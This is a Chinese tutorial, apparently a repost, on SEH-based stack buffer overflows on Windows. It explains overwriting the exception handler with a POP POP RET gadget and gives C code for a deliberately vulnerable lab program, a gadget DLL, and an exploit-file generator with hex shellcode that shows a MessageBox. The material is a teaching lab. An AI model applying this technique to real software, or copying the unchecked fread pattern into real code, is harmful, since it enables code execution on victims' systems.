栈溢出笔记1.10 基于SEH的栈溢出
上節中簡單地講述了SEH的原理及邏輯結構。本節,要繼續講述SEH的物理結構及如何利用它進行棧溢出。
先來看SEH的物理結構。先回想上節中的圖51,我們在程序停在gets函數輸入的時候查看SEH鏈,看到了一大堆異常處理器,而當我們把斷點設置在gets函數下一條語句的時候,其中很多沒有了,這給我們一個直觀的感覺:SEH鏈保存在棧上。
下面,我們就來看看棧上的SEH鏈。我們使用的是example_10,即添加了一個自己的異常處理塊的程序(編譯時繼續采用前面教程中的設置,即關閉緩沖區安全檢查)。依然把斷點設置在gets函數下一條語句,由于程序定義緩沖區為11個字節,我們輸入10個A,即不超過緩沖區大小,斷下后,先看SEH鏈:?
?
圖58 SEH鏈
再看棧:?
?
圖59 SEH鏈的物理布局
需要特別注意的是第一個異常處理器的位置,它位于局部變量與保持的EIP之間,正是這個重要位置,給了它利用的價值。需要說明的是,本節的重點在于SEH,而不是棧上保存的EIP(像前面小節中所說的),看到以后的小節之后你就知道為什么了。
現在要重復我們的老把戲了。我們輸入28個A,溢出緩沖區的大小,來看棧:?
?
圖60 輸入28個A時的棧
查看此時的SEH鏈:?
?
圖61 輸入28個A時的SEH鏈
可以看到,此時的SEH鏈已經被我們破壞了,異常處理函數和下一個異常處理器都被重寫為0x41414141。但是此時這并沒有什么用,因為這個SEH鏈根本不會被觸發,就算我們覆蓋了SEH鏈第一個異常處理器的內容,也不會發生什么錯誤,程序輸出28個A,然后正常退出:?
?
圖62
回想1.9節中的內容,異常處理塊是程序員自己定義的,不同的應用程序中處理的異常類型都不相同,我們很難知道程序究竟處理了什么類型的異常,因此,我們也很難去觸發指定類型的異常,來讓SEH鏈被調用。那么,還有什么方法來觸發一個異常呢?我們先來看一個現象,這次我們不輸入28個A,我們輸入很多很多A:?
?
圖63
然后,程序出現以下彈框:?
?
圖64
這說明緩沖區溢出到一定的程度,就會觸發程序的異常處理,SEH鏈被調用,而且其內容被覆蓋為“AAAA”。
現象我們看到了,那這個異常定義在哪?捕獲的是什么類型的錯誤呢?它又是如何被觸發的呢?我們看一看此時的棧:?
?
圖65
你知道原因了嗎?此時整個棧都被寫為了A,不僅如此,我們還向棧以外的內存也寫入A,由于越過了棧范圍,因而發生了越界訪問。這一切都發生在example_10的__try塊中,越界訪問異常被捕獲,于是有了上面的提示框。因此,最后總結為一句:通過向棧范圍以外的內存寫入數據,從而引發一次訪問越界異常。?
現在,我們再來做一次。這一次我們輸入20個A + 8個B + 很多很多A:?
?
圖66
程序提示異常:?
?
圖67
注意異常發生的地址,并和圖63中的異常地址進行對比,第一次我們將SEH鏈中的第一個異常處理器覆蓋為“AAAAAAAA”,這一次我們將它覆蓋為“BBBBBBBB”。因此,提示框中的異常發生地址實際上來自與SEH鏈。知道為什么嗎?記得1.9節的原理嗎?回顧一下異常被處理的過程,系統遍歷SEH鏈,調用其中的每個異常處理器,判斷它能否處理異常,如果不能,則移交給下一個,繼續判斷。直到異常被處理。而由于我們通過棧溢出更改了異常處理器的值,因此,系統嘗試讀取異常處理函數的地址(0x42424242)時,由于這個地址是我們隨便給的,發生訪問越界,這就是異常提示框中信息的由來。
好了,現在我們知道了如何修改SEH鏈中異常處理器的值,也知道了如何引發一次異常,讓異常處理器被調用。現在,我們要利用這些東西來做點小把戲了。
還記得1.4節我們是如何黑掉程序example_2,讓它執行我們的MessageBox的嗎?我們通過一些特殊的方式(一條jmp esp指令),讓程序轉而執行我們提供的代碼,從而控制了原程序。
我們在前面已經控制了EIP,但是EIP到底修改為多少呢?按直觀的想法,EIP應該為我們的Shellcode的第一條指令的地址,但是這個地址又為多少呢?我們并不知道。不過,我們再來看一下異常處理函數_except_handler的原型:?
?
圖68
1.9節中說到了它的其它幾個參數,但是沒有說第二個參數EstablisherFrame,這個參數實際上就是當前SEH鏈的首地址,即SEH鏈中第一個_EXCEPTION_REGISTRATION_RECORD結構的地址,也就是被我們改寫的那個異常處理器的地址。當異常處理函數被調用的時候,這個參數位于棧上ESP+8的位置。這不難理解,這個函數為__cdecl調用方式,則棧上是這樣子的:?
?
圖69
因此,我們只需要想辦法將EstablisherFrame載入EIP,就得到了一個靠譜的地址,從這個地址開始執行我們自己的代碼。如何將EstablisherFrame載入EIP?系統將棧設置為圖68的樣子之后,就轉向異常處理函數開始執行,這個函數是我們給定的,前面我們設置為0x42424242,發生了訪問越界,現在我們要將異常處理函數地址設置為一段指令,這段指令可以將EstablisherFrame載入EIP,它就是著名的“POP POP RET”指令塊。通過兩次出棧,ESP指向EstablisherFrame,此時執行RET指令將EstablisherFrame作為返回地址載入EIP。
下面,就可以來看攻擊緩沖區的結構了:?
?
圖70
先來說說各個部分,junk容易理解,用來填充原緩沖區,第一個異常處理器的起始地址(不能覆蓋)。第二個部分是Jmp指令,它位于第一個異常處理器結構的Next SEH成員位置,為什么需要它?因為POP+POP+RET執行后返回到SEH起始地址,此時,如果沒有跳轉指令,順序執行,POP+POP+RET還會執行,從而出錯,因此,JMP指令的作用就是跳過POP+POP+RET。因此,我們需要跳過4字節,短跳轉的操作碼為EB,向后跳轉四字節為\xeb\x04。由于有4字節的空間,因此再填充兩個NOP指令。shellcode部分才是實際的功能載荷,它除了操作碼以外,還要填充一些字符,用于制造棧越界,引發異常。
下面是示例,由于我要用到POP+POP+RET指令,因此,我先建立一個DLL,如下:
/*****************************************************************************/ 頭文件example_13.h: __declspec(dllexport) void set_pop_pop_ret();源文件example_13.cpp: // example_13 包含POP+POP+RET指令的DLL#include "example_13.h"void set_pop_pop_ret() { __asm { push esi push edi pop edi pop esi ret } } /*****************************************************************************/- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
然后,是用于演示棧溢出的程序(為了輸入和調試方便,我把前面的gets改成了讀文件):
/*****************************************************************************/ // example_12 演示基于SEH的棧溢出 #include <Windows.h> #include <stdio.h> #include <string.h>#include "example_13.h"#pragma comment(lib, "example_13.lib")void get_print() { FILE* fp = fopen("code.txt", "rb"); char str[11]; __try { fread(str, 1, 1024, fp); printf("%s\n",str); } __except(EXCEPTION_EXECUTE_HANDLER) { // } fclose(fp); }int main() { get_print(); set_pop_pop_ret(); // 來自example_13.dll return 0; } /*****************************************************************************/- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
下面是生成帶有Shellcode的文件的程序:
/*****************************************************************************/ // example_11 生成exploit文件 #include <stdio.h> #include <string.h>char junk[] = "AAAAAAAAAAAAAAAAAAAAAAAA" // junk "\x90\x90\xeb\x04" // jmp "\x50\x13\x01\x10"; // pop+pop+retchar shellcode[] = "\x55\x8B\xEC\x33\xC0\x66\xB8\x6C\x64\x50\x68\x6F\x57\x6F\x72\x68\x48\x65\x6C\x6C\x6A\x31\x68\x70\x6C\x65\x5F" // shellcode "\x68\x65\x78\x61\x6D\x66\xB8\x6C\x6C\x50\x68\x33\x32\x2E\x64\x68\x75\x73\x65\x72\x8D\x5D\xDC\x53\xBB\x7B" "\x1D\x80\x7C\xFF\xD3\x33\xC0\x50\x8D\x5D\xE8\x53\x8D\x5D\xF4\x53\x50\xBB\xEA\x07\xD5\x77\xFF\xD3" "\x50\xBB\xFA\xCA\x81\x7C\xFF\xD3";int main() {FILE* f = fopen("code.txt","wb");fwrite((char*)junk, strlen(junk), 1, f);fwrite((char*)shellcode, strlen(shellcode), 1, f);for( int i = 0; i < 100; i++ ){fputs("AAAA", f);}fclose(f);return 0; } /*****************************************************************************/- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
需要注意的是”\x90\x90\xeb\x04”,NOP指令放在前面和后面跳轉長度是不一樣的,如果NOP指令在后面,那就不是跳轉4字節,而是6字節了。?
?
圖71
另外,我用的POP+POP+RET是我自己寫的example_13.dll中的,指令地址地址為0x10011350。至于為什么不用系統dll中的,下一節你就知道了,下面是example_12加載帶有Shellcode的文件之后的結果:?
?
圖72
注意,我的Shellcode是前面小節中的,帶有硬編碼地址,你不可直接使用。
總結
以上是生活随笔為你收集整理的栈溢出笔记1.10 基于SEH的栈溢出的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 动态规划经典题之编辑距离
- 下一篇: 使用 NodeJS + Express